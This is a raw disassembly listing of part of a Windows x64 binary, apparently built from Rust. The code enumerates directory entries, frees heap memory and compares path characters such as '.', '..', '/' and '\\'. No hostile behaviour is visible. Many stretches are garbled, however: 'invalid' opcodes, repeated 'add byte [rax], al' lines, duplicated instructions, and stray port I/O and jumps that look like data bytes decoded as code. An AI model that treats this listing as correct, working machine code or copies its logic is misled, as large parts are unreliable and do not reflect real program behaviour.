je 0x14004eb78
mov r14, qword [rsp + 0x1f8]
cmp rbx, 2
je 0x14004ef49
cmp rbx, 1
jne 0x14004eaca
cmp byte [rdi], 0x2e
sete sil
mov ebx, 1
jmp 0x14004eacc
cmp byte [rsp + 0x48], 0
je 0x14004f1a9
lea rcx, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
call fcn.140096220
mov esi, dword [rsp + 0x200]
mov rbx, qword [rsp + 0x1f0]
cmp esi, 2
je 0x14004eee0
mov rdi, qword [rsp + 0x1f8]
lea rdx, [rsp + 0x204]
lea rcx, [rsp + 0x47c]
mov r8d, 0x254
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x468], rbx
mov qword [rsp + 0x470], rdi
mov dword [rsp + 0x478], esi
lea rax, [rsp + 0x3f]
mov qword [rsp + 0x6d0], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x6d8], rax
lea rcx, [rsp + 0x1f0]
lea rdx, [rsp + 0x468]
call fcn.140050c00
cmp byte [rsp + 0x208], 2
mov rdi, qword [rsp + 0x40]
jne 0x14004ef5f
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.kernel32.dll_FindClose]
mov rax, qword [rsp + 0x468]
lock dec qword [rax]
mov eax, 8
mov qword [rsp + 0x58], rax
jne 0x14004ec70
mov rcx, qword [rsp + 0x468]
call fcn.140010590
xor eax, eax
mov qword [rsp + 0x90], rax
xor r13d, r13d
mov rsi, qword [rsp + 0x190]
test rsi, rsi
je 0x14004f0e2
test r13, r13
je 0x14004eebe
mov rax, qword [rsp + 0x58]
lea rdi, [rax + 8]
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004ecbd
add rdi, 0x20
dec r13
je 0x14004eebe
cmp qword [rdi], 0
je 0x14004ecb0
mov r8, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbx
jmp 0x14004ecb0
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x468]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
mov r9, rdi
call fcn.140086540
movzx eax, byte [rsp + 0x48]
and al, sil
cmp al, 1
je 0x14004eb0a
test sil, sil
jne 0x14004eda1
mov rsi, qword [rsp + 0x468]
mov rbx, qword [rsp + 0x478]
lea rcx, [rsp + 0x1f0]
mov rdx, rsi
mov r8, rbx
call case.0x1400861b2.392
cmp dword [rsp + 0x1f0], 2
jne 0x14004edc6
mov rax, qword [rsp + 0x1f8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14004eda1
test rcx, rcx
je 0x14004eda1
lea rsi, [rax - 1]
mov rbx, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14004ed8f
cmp qword [r15 + 0x10], 0x11
jb 0x14004ed7d
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x470], 0
je 0x14004ee7e
mov r8, qword [rsp + 0x468]
mov rcx, qword [0x1400f91f8]
xor edx, edx
jmp 0x14004ee78
mov r15, qword [rsp + 0x470]
mov r9, qword [rsp + 0x88]
inc r9
mov r8, qword [rsp + 0xb8]
cmp r9, r8
jne 0x14004ee43
mov r12, qword [rsp + 0x480]
mov r13, qword [rsp + 0x40]
mov rdx, qword [r13 + 0x10]
cmp rdx, qword [r13 + 8]
jne 0x14004ee09
mov rcx, r13
call fcn.140051360
mov rdx, qword [r13 + 0x10]
mov rax, qword [r13]
lea rcx, [rdx + rdx*2]
shl rcx, 4
mov qword [rax + rcx], 0
mov qword [rax + rcx + 8], rsi
mov qword [rax + rcx + 0x10], r15
mov qword [rax + rcx + 0x18], rbx
mov qword [rax + rcx + 0x20], r12
mov qword [rax + rcx + 0x28], 0xffffffffffffffff
inc rdx
mov qword [r13 + 0x10], rdx
jmp 0x14004ee7e
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x80]
call fcn.14004e4b0
test r15, r15
je 0x14004ee7e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
test bpl, bpl
jne 0x14004f1a9
test r14, r14
je 0x14004f1a9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
movaps xmm6, xmmword [rsp + 0x6e0]
add rsp, 0x6f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x90], 0
je 0x14004eedd
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x58]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, rsi
mov rdi, qword [rsp + 0x40]
cmp qword [rsp + 0x50], 0
je 0x14004f12a
js 0x140050041
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14004ef1f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14004ef38
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, qword [rsp + 0x50]
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x14004f12f
mov ecx, 1
mov rdx, qword [rsp + 0x50]
call fcn.1400a9e00
ud2
movzx eax, word [rdi]
cmp eax, 0x2e2e
sete sil
mov ebx, 2
jmp 0x14004eacc
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14004ef8b
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14005006d
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14005006d
mov rsi, rax
movups xmm0, xmmword [rsp + 0x1f0]
movups xmm1, xmmword [rsp + 0x200]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], 4
mov qword [rsp + 0xf8], 1
lea rdi, [rsp + 0x1f0]
lea rdx, [rsp + 0x468]
mov r8d, 0x278
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov ebx, 1
mov r12d, 0x20
lea r14, [rsp + 0x158]
lea r15, [rsp + 0xe8]
jmp 0x14004f04a
movups xmm0, xmmword [rsp + 0x158]
movups xmm1, xmmword [rsp + 0x168]
movups xmmword [rsi + r12 + 0x10], xmm1
movups xmmword [rsi + r12], xmm0
inc rbx
mov qword [rsp + 0xf8], rbx
add r12, 0x20
mov rcx, r14
mov rdx, rdi
call fcn.140050c00
cmp byte [rsp + 0x170], 2
je 0x14004f07e
cmp rbx, qword [rsp + 0xf0]
jne 0x14004f020
mov rcx, r15
mov rdx, rbx
call fcn.140010700
mov rsi, qword [rsp + 0xe8]
jmp 0x14004f020
mov rcx, qword [rsp + 0x1f8]
call qword [sym.imp.kernel32.dll_FindClose]
mov rax, qword [rsp + 0x1f0]
lock dec qword [rax]
jne 0x14004f0a7
mov rcx, qword [rsp + 0x1f0]
call fcn.140010590
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x90], rax
mov r13, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x190]
test rsi, rsi
jne 0x14004ec8e
cmp qword [rsp + 0x58], 0
je 0x14004f116
cmp r13, 0x15
jae 0x14004f1c5
cmp r13, 1
jbe 0x14004fb2d
mov r8d, 1
mov rcx, qword [rsp + 0x58]
mov rdx, r13
call fcn.140050ed0
jmp 0x14004fb2d
mov rbx, qword [rsp + 0x90]
cmp qword [rsp + 0x50], 0
jne 0x14004eef1
mov esi, 1
mov rcx, rsi
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rdi + 0x10]
cmp rdx, qword [rdi + 8]
jne 0x14004f157
mov rcx, rdi
call fcn.140051360
mov rdx, qword [rdi + 0x10]
mov rax, qword [rdi]
lea rcx, [rdx + rdx*2]
shl rcx, 4
mov qword [rax + rcx], 1
mov qword [rax + rcx + 8], rbx
mov qword [rax + rcx + 0x10], rsi
mov r8, qword [rsp + 0x50]
mov qword [rax + rcx + 0x18], r8
mov qword [rax + rcx + 0x20], r8
mov byte [rax + rcx + 0x28], 0
mov r8d, dword [rsp + 0x1f0]
mov r9d, dword [rsp + 0x1f3]
mov dword [rax + rcx + 0x29], r8d
mov dword [rax + rcx + 0x2c], r9d
inc rdx
mov qword [rdi + 0x10], rdx
movaps xmm6, xmmword [rsp + 0x6e0]
add rsp, 0x6f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, r13
shl rax, 4
movabs rcx, 0x7fffffffffffffe0
and rcx, rax
movzx eax, byte [0x1400f92c0]
mov edx, 8
call fcn.1400515f0
mov qword [rsp + 0x48], rax
test rax, rax
je 0x14005007e
movzx eax, byte [0x1400f92c0]
mov ecx, 0x100
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x140050098
mov rax, qword [rdi + 8]
mov rsi, qword [rdi + 0x10]
sub rax, rsi
cmp rax, r13
jb 0x14004fd98
shl r13, 5
mov rdx, qword [rsp + 0x58]
lea rax, [rdx + r13]
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx]
lea rdi, [rdx + 0x28]
mov ebx, 0x20
sub rbx, r13
lea rdx, [rsi + rsi*2]
shl rdx, 4
add rcx, rdx
add rcx, 0x28
nop word [rax + rax]
movzx edx, byte [rdi - 0x10]
cmp dl, 2
je 0x14004fd4d
mov r8, qword [rdi - 0x28]
mov r9d, dword [rdi - 0xf]
mov r10d, dword [rdi - 0xc]
mov dword [rsp + 0x1f3], r10d
mov dword [rsp + 0x1f0], r9d
movups xmm0, xmmword [rdi - 0x20]
mov qword [rcx - 0x28], 0
mov qword [rcx - 0x20], r8
movups xmmword [rcx - 0x18], xmm0
mov byte [rcx - 8], dl
mov edx, dword [rsp + 0x1f0]
mov r8d, dword [rsp + 0x1f3]
mov dword [rcx - 4], r8d
mov dword [rcx - 7], edx
mov rdx, qword [rsp + 0x88]
mov qword [rcx], rdx
inc rsi
add rdi, 0x20
add rbx, 0x20
add rcx, 0x30
cmp rbx, 0x20
jne 0x14004fb80
mov rax, qword [rsp + 0x40]
and al, 0x40
mov qword [rax + 0x10], rsi
cmp qword [rsp + 0x90], 0
je 0x14004fc1e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc0]
cmp qword [rax + rcx + 0x28], 0
jl 0x14004fc3a
sub byte [rax], al
jl 0x14004fc3a
sub byte [rax], al
je 0x14004f1a9
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc0]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + rcx + 0x18]
lea rdx, [0x1400e08d8]
call fcn.14004dd90
test al, al
je 0x14004f1a9
inc qword [rsp + 0x88]
mov edi, dword [rsp + 0x64]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], 0
add byte [rax], al
add byte [rbx - 0x769bdb84], cl
jl 0x14004fc96
sub byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
lea r8, [0x1400e9143]
lea r9, [0x1400e9144]
lea ecx, [0x1400e9144]
lea ecx, [0x1400e9144]
mov rbx, qword [rsp + 0x98]
mov rcx, rbx
mov dl, 1
call fcn.140050180
add eax, ebp
in al, 4
add byte [rax], al
test al, al
jne 0x14004fdf6
mov qword [rsp + 0x20], 1
lea r9, [0x1400e9143]
lea rcx, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
and al, 0x50
call fcn.140086540
mov rdi, qword [rsp + 0x1f0]
mov rbx, qword [rsp + 0x1f8]
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x200], dh
and byte [rcx], al
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
invalid
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x200], dh
mov r9, qword [rsp + 0x88]
mov r8, qword [rsp + 0xb8]
cmp r9, r8
cmp ecx, eax
cmp ecx, eax
jne 0x14004fdaf
mov r14, qword [rsp + 0x40]
cmp rsi, qword [r14 + 8]
jne 0x14004fd16
mov rcx, r14
mov rdx, rsi
call fcn.140051360
add byte [rax], al
add byte [rax], al
mov rsi, qword [r14 + 0x10]
mov rax, qword [r14]
lea rcx, [rsi + rsi*2]
shl rcx, 4
mov qword [rax + rcx], 0
mov qword [rax + rcx + 8], rdi
mov qword [rax + rcx + 0x10], rbx
movups xmmword [rax + rcx + 0x18], xmm6
mov qword [rax + rcx + 0x28], 0xffffffffffffffff
inc rsi
mov qword [r14 + 0x10], rsi
jmp 0x14004fdea
lea rcx, [rdi - 8]
mov rdx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rdx + 0x10], rsi
cmp rax, rcx
je 0x14004fbff
invalid
invalid
invalid
invalid
neg rbx
shr rbx, 5
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
add bl, ch
invalid
add bl, ch
or eax, 0x20c78348
add rdi, 0x20
dec rbx
je 0x14004fbff
cmp qword [rdi], 0
je 0x14004fd73
mov r8, qword [rdi - 8]
clc
mov rcx, qword [0x1400f91f8]
xchg esp, eax
or al, byte [rax]
xor edx, edx
call r14
jmp 0x14004fd73
ja 0x14004fdba
adc cl, ch
wait
std
invalid
jmp 0x14004fb4a
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
movlps qword [rsp + 0x28], xmm6
and al, 0x28
mov qword [rsp + 0x20], rdi
mov rcx, qword [rsp + 0x40]
and al, 0x40
mov rdx, qword [rsp + 0x80]
call fcn.14004e4b0
out 0xff, al
dec dword [rax - 0x7b]
invalid
je 0x14004fdea
out 0xff, al
dec dword [rax - 0x7b]
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
invalid
mov edi, dword [rsp + 0x64]
and al, 0x64
mov rbx, qword [rsp + 0x98]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], 0
and al, 0x20
add byte [rax], al
add byte [rax], al
and al, 0x20
add byte [rax], al
add byte [rax], al
lea r8, str....
lea eax, str....
lea r9, [0x1400e9142]
mov rcx, rbx
mov dl, 1
call fcn.140050180
add eax, dword [rax]
add byte [rax + rax*8 - 0xc797af1], al
invalid
invalid
add eax, dword [rax]
add byte [rax + rax*8 - 0xc797af1], al
invalid
mov qword [rsp + 0x20], 2
mov dword [rsp + 0x20], 2
lea r9, str....
lea rcx, [rsp + 0x1f0]
lea ecx, [rsp + 0x1f0]
lea ecx, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
call fcn.140086540
mov rsi, qword [rsp + 0x1f0]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rsp + 0x1f8]
movups xmm6, xmmword [rsp + 0x200]
mov esp, 0x1f824
add byte [rdi], cl
adc byte [rsp + 0x200], dh
mov r9, qword [rsp + 0x88]
mov r8, qword [rsp + 0xb8]
and al, 0xb8
add byte [rax], al
add byte [rax], al
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xb8
add byte [rax], al
add byte [rax], al
cmp r9, r8
jne 0x14004fec9
mov rbx, qword [rsp + 0x40]
add byte [rax], al
cmp r9, r8
jne 0x14004fec9
mov rbx, qword [rsp + 0x40]
mov rdx, qword [rbx + 0x10]
cmp rdx, qword [rbx + 8]
jne 0x14004fe92
mov rcx, rbx
fld1
rcl byte [rax + rax], cl
add byte [rax - 0x75], cl
push rbx
adc byte [rax - 0x75], cl
call fcn.140051360
mov rdx, qword [rbx + 0x10]
mov rax, qword [rbx]
lea rcx, [rdx + rdx*2]
add ecx, dword [rax - 0x73]
or al, 0x52
shl rcx, 4
mov qword [rax + rcx], 0
or byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
je 0x14004feb1
invalid
or byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
je 0x14004feb1
or byte [rax], cl
or byte [rax - 0x77], cl
jl 0x14004feb6
mov qword [rax + rcx + 0x10], rdi
movups xmmword [rax + rcx + 0x18], xmm6
adc dword [rax + rcx + 0x18], esi
adc byte [rdi], cl
adc dword [rax + rcx + 0x18], esi
je 0x14004febb
sbb byte [rax - 0x39], cl
mov qword [rax + rcx + 0x28], 0xffffffffffffffff
inc rdx
mov qword [rbx + 0x10], rdx
or byte [rax], r13b
invalid
jmp 0x14004f1a9
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
mov dword fs:[rsp + 0x30], eax
movlps qword [rsp + 0x28], xmm6
and al, 0x28
mov qword [rsp + 0x20], rsi
and al, 0x20
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x80]
call fcn.14004e4b0
test rdi, rdi
je 0x14004f1a9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [0xdcedff10], al
invalid
invalid
invalid
mov edx, eax
call fcn.1400a9fa0
ud2
movabs al, byte [0x20058d480b0f0005]
in al, 9
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
clc
and ah, ah
or dword [rax], eax
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 1
clc
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9e415
clc
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9e415
mov qword [rsp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x208], xmm0
test byte [rax + rcx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x9e463
test byte [rax + rcx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x9e463
lea rcx, [rsp + 0x1f0]
call fcn.1400a9ee0
ud2
mov dword [rsp + 0x1f0], eax
mov qword [rsp + 0x1f8], 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9e3ca
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x9e3ca
mov qword [rsp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x208], xmm0
add byte [rax - 0x73], cl
adc eax, 0x9e430
add byte [rax - 0x73], cl
adc eax, 0x9e430
lea rcx, [rsp + 0x1f0]
call fcn.1400a9ee0
ud2
lea r8, str.library_std_srcpath.rs
mov rdx, qword [rsp + 0x50]
call fcn.1400a9f20
ud2
add byte [rbp + rcx*4 + 5], cl
sbb al, 0xe4
or dword [rax], eax
mov edx, 0x2b
call fcn.1400aa0a0
ud2
call fcn.1400402a0
ud2
or dword [rax], eax
mov rdx, rcx
mov rcx, r12
call fcn.1400aa2f0
ud2
mov edx, ebp
call fcn.1400aa020
ud2
mov ecx, 8
add byte [rax], al
mov edx, 0x80
call fcn.1400a9e00
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov edx, 0x2b
add al, ch
or ah, byte [rax + 0xb0f0005]
add al, ch
or ah, byte [rax + 0xb0f0005]
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or dword [rax], eax
or dword [rax], eax
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov edx, 0x2b
call fcn.1400aa0a0
invalid
lahf
invalid
add byte [rdi], cl
invalid
invalid
int3
sub esp, 0x70
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x28]
call case.0x1400861b2.392
cmp dword [rsp + 0x28], 2
jne 0x140050144
mov rax, qword [rsp + 0x30]
and al, 0x30
mov ecx, eax
and ecx, 3
xor esi, esi
lea rdx, [rcx - 2]
dec byte [rax - 0x7d]
cli
add dh, byte [rdx + 0x73]
dec byte [rax - 0x7d]
cli
add dh, byte [rdx + 0x73]
test rcx, rcx
je 0x140050167
lea rdi, [rax - 1]
mov rsi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rsi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14005012e
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x14005011c
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
or eax, 0xa90c3
xor esi, esi
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add bl, ch
invalid
invalid
mov esi, dword [rsp + 0x68]
test esi, 0x400
sete al
test dword [rsp + 0x6c], 0x20000000
sete cl
or cl, al
and esi, 0x10
shr esi, 4
and sil, cl
mov eax, esi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
invalid
cmp edi, esi
je 0x14005060a
mov r13b, 1
jmp 0x140050612
mov r9d, dword [rsp + 0xb8]
mov rax, qword [r15 + 0x18]
shl rdx, 5
add rdx, rax
mov r14, rcx
mov esi, ecx
mov esi, ecx
shl r14, 5
add r14, rax
inc rcx
mov qword [rsp + 0x38], rcx
invalid
cmp byte [rcx], dh
fisttp dword [rax - 0x77]
mov dword [rsp + 0x40], edx
xor ebx, ebx
mov qword [rsp + 0x40], rdx
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x40], edx
mov eax, dword [r14]
mov ecx, eax
and ecx, 6
cmp ecx, 2
jne 0x1400503b0
mov edx, r12d
and dl, 1
mov rax, qword [rsp + 0x38]
lea rbp, [rax + rbx]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rbp
mov rcx, r15
mov r8, rdi
mov r9, rsi
call fcn.140050180
invalid
invalid
invalid
cmp al, 1
jne 0x14005060f
fild word [rbx]
add byte [rax], al
invalid
fild word [rbx]
add byte [rax], al
cmp rdi, rsi
je 0x14005046e
mov r9d, dword [rsp + 0xb8]
jmp 0x140050293
mov eax, r9d
shr eax, 8
test al, r12b
jne 0x140050612
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rbp
and byte [rcx + rcx*4 - 7], cl
and byte [rcx + rcx*4 - 7], cl
mov edx, r12d
mov r8, rdi
mov r9, rsi
call fcn.140050180
mov r9d, dword [rsp + 0xb8]
cmp al, 1
jne 0x14005060f
cmp rdi, rsi
je case.0x14004b1de.52
movzx r8d, byte [rdi]
movzx eax, r8b
test al, al
js case.0x14002f576.227
inc rdi
mov r13b, 1
test r12b, 1
jne 0x140050309
jmp 0x140050350
mov ecx, eax
and ecx, 0x1f
movzx r10d, byte [rdi + 1]
and r10d, 0x3f
cmp al, 0xdf
jbe 0x14005031e
movzx edx, byte [rdi + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp r8b, 0xf0
jb 0x140050335
movzx eax, byte [rdi + 3]
add rdi, 4
mov dword [rbx + rax*4], 0xe1c107e1
adc al, cl
loop 0x1400502ed
mov dword [rbx + rax*4], 0xe1c107e1
adc al, cl
loop 0x1400502ed
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
enter 0x3d, 0
adc dword [rax], eax
je 0x1400505f0
nop dword [rax]
mov r13b, 1
test r12b, 1
je 0x140050350
mov ecx, r9d
and ecx, 0x10000
je 0x140050350
cmp eax, 0x2e
jne 0x140050350
invalid
invalid
jmp 0x140050612
add rdi, 2
shl ecx, 6
or ecx, r10d
mov eax, ecx
mov r13b, 1
test r12b, 1
jne 0x140050309
jmp 0x140050350
add rdi, 3
shl ecx, 0xc
add eax, ecx
loope 0x140050348
or edx, ecx
mov eax, edx
mov r13b, 1
test r12b, 1
jne 0x140050309
ror byte [rdi], 0x1f
add byte [rax], 0
add byte [rax], al
nop dword [rax]
cmp eax, 0x7f
ja 0x140050380
clc
jg 0x1400503cb
sub edi, dword [rdi + rbp]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete r12b
or r12b, cl
or ah, cl
or ah, cl
mov eax, dword [r14]
cmp rax, 2
jne 0x140050390
jmp 0x140050250
xor r12d, r12d
mov eax, dword [r14]
cmp rax, 2
je 0x140050250
cmp eax, 3
jne 0x14005025f
test esi, eax
invalid
invalid
invalid
test esi, eax
invalid
test r12b, r12b
jne 0x14005025f
jmp 0x14005028a
invalid
mov r13b, 2
cmp rdi, rsi
je 0x140050612
movzx r11d, byte [rdi]
movzx r8d, r11b
test r8b, r8b
js 0x14005047e
add byte [rax], al
inc rdi
cmp r8b, 0x2f
sete cl
cmp r8b, 0x5c
sete bpl
sete ch
sete ch
or bpl, cl
mov cl, 1
lea rdx, [0x1400efa30]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov eax, dword [r14 + 4]
test cl, cl
je 0x140050426
cmp r8b, 0x5c
je 0x14005040b
movzx ecx, r8b
cmp ecx, 0x2f
jne 0x140050426
cmp eax, 0x80
jae 0x140050426
cmp al, 0x2f
je 0x1400505ed
add byte [rax], al
add byte [rax], al
movzx ecx, al
cmp ecx, 0x5c
enter 0xfffffffffffff983, 0x5c
je 0x1400505ed
test r9b, 1
jne 0x1400504fc
rol dword [rcx], 0xf
test esp, ecx
add byte [rax], al
add byte [rcx - 0x3ef6bb3f], cl
mov ecx, eax
or ecx, r8d
cmp ecx, 0x7f
ja 0x1400504fc
lea ecx, [r8 - 0x41]
mov edx, r8d
xor edx, 0x20
cmp ecx, 0x1a
cmovae edx, r8d
lea ecx, [rax - 0x41]
mov r8d, eax
xor r8d, 0x20
cmp ecx, 0x1a
cmovae r8d, eax
cmp edx, r8d
je 0x1400505ed
jmp 0x1400501bc
mov rdi, rsi
mov r9d, dword [rsp + 0xb8]
add cl, ch
jb 0x14005047d
add byte [rax], al
add cl, ch
jb 0x14005047d
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], al
mov ecx, r8d
and ecx, 0x1f
movzx r10d, byte [rdi + 1]
and r10d, 0x3f
cmp r8b, 0xdf
jbe 0x1400504dc
movzx edx, byte [rdi + 2]
shl r10d, 6
shl edx, 6
shl edx, 6
and edx, 0x3f
or edx, r10d
cmp r11b, 0xf0
jb 0x14005050a
movzx r8d, byte [rdi + 3]
and ecx, 7
shl ecx, 0x12
adc al, cl
loop 0x1400504bb
adc al, cl
loop 0x1400504bb
and r8d, 0x3f
or r8d, edx
or r8d, ecx
cmp r8d, 0x110000
rol byte [rcx + 9], 1
enter 0xffffffffffff8141, 0xfffffffffffffff8
add byte [rax], al
adc dword [rax], eax
je 0x140050612
add rdi, 4
cmp r8d, 0x7f
jbe 0x1400503d0
jmp 0x140050520
add rdi, 2
shl ecx, 6
or ecx, r10d
mov r8d, ecx
cmp r8d, 0x7f
ja 0x140050520
jmp 0x1400503d0
mov rdi, rsi
jmp 0x1400505f0
cmp r8d, eax
je 0x1400505ed
test al, ch
add byte [rax], al
invalid
test al, ch
add byte [rax], al
add cl, ch
mov dl, 0xfc
invalid
jmp 0x1400501bc
add rdi, 3
shl ecx, 0xc
or edx, ecx
mov r8d, edx
cmp r8d, 0x7f
jbe 0x1400503d0
mov al, 0xfe
invalid
invalid
mov al, 0xfe
invalid
xor ecx, ecx
xor ebp, ebp
lea rdx, [0x1400efa30]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov eax, r9d
shr eax, 8
or byte [rcx - 0x4b], al
add dword [rax - 0x7c], eax
call 0x140d18a53
add byte [rax], al
or byte [rcx - 0x4b], al
add dword [rax - 0x7c], eax
call 0x140d18a53
add byte [rax], al
test r12b, 1
je 0x1400505ed
mov eax, r9d
and eax, 0x10000
add byte [rcx], al
add byte [rdi], cl
invalid
pop qword [rax]
add byte [rax], al
add byte [rcx], al
add byte [rdi], cl
test byte [rdi + 0x41000000], cl
cmp eax, 0x2e
cmp r8d, 0x2e
jne 0x1400505ed
jmp 0x140050612
mov eax, r9d
shr eax, 8
mov r13b, 1
test al, bpl
call 0x140988a8c
add byte [rax], al
call 0x140988a8c
add byte [rax], al
add byte [rax], al
add byte [rcx - 0xa], al
invalid
test r12b, 1
je 0x140050595
mov eax, r9d
and eax, 0x10000
je 0x140050595
cmp r8d, 0x2e
je 0x140050612
mov rcx, qword [r14 + 8]
mov rdx, qword [r14 + 0x18]
call fcn.140050650
mov r9d, dword [rsp + 0xb8]
test al, al
jne 0x1400505ed
or byte [rcx - 0x75], cl
push rsi
sbb al, ch
scasb al, byte [rdi]
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], al
and al, 0xb8
